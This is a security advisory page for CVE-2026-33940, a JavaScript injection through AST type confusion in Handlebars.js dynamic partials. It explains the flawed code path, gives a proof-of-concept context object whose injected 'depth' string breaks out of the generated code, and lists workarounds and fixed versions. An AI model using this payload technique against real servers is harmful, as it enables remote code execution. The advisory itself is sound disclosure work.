Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
Summary
A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.
Description
The vulnerable code path spans two functions in lib/handlebars/runtime.js:
resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.
invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.
Minimum prerequisites:
- The template uses a dynamic partial lookup:
{{> (lookup . "key")}}or equivalent. - The adversary can set the value of the looked-up context property to a crafted object.
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.
Proof of Concept
const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Withoutcompile(), the fallback compilation path ininvokePartialis unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
- Avoid dynamic partial lookups (
{{> (lookup ...)}}) when context data is user-controlled.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
References
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6
- https://nvd.nist.gov/vuln/detail/CVE-2026-33940
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2
- https://github.com/handlebars-lang/handlebars.js
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-843, CWE-94- Platform
- npm
- Package
handlebars- Disclosed
- 27.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-xhpv-hc6g-r9c6 - CC BY 4.0
Vulnerability history: handlebars
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 22
- First → latest
- 10.2018 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 10
- Medium 5
- Low 1
Disclosures per year
- 2018: 1
- 2019: 2
- 2020: 4
- 2021: 1
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 11
-
Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.